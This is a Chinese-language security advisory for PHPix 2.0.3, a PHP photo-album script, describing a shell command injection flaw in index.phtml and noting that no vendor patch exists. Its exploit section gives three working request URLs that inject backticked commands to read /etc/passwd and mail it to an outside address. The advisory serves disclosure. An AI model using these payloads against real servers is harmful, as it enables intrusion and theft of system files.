添加时间:
2005-08-16

系统编号:
WAVDB-00359
BUGTRAQ: 9458

影响版本:
PHPix 2.0.3

程序介绍:

PHPix是用PHP开发的基于Web的相册程序。

漏洞分析:

PHPix不充分处理外部提供的恶意数据，远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。

问题是PHPix中的index.phtml对用户提交的URI参数缺少充分过滤，提交包含SHELL元字符的数据，可导致以WEB进程权限在系统上执行任意命令。

漏洞利用:

20someone@somewhere.com`&pic=A-10.jpg&dispsize=640&start=0  target= _blank >http://www.example.com/phpix/index.phtml?mode=view&album=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&pic=A-10.jpg&dispsize=640&start=0 

20someone@somewhere.com`&start=0  target= _blank >http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=A-10.jpg&dispsize=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&start=0 

20someone@somewhere.com`&dispsize=640&start=0  target= _blank >http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&dispsize=640&start=0

解决方案:
厂商补丁：
PHPix
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://phpix.org/

信息来源:
<*来源：Max Stepanov （dlgdlg@bezeqint.net）*>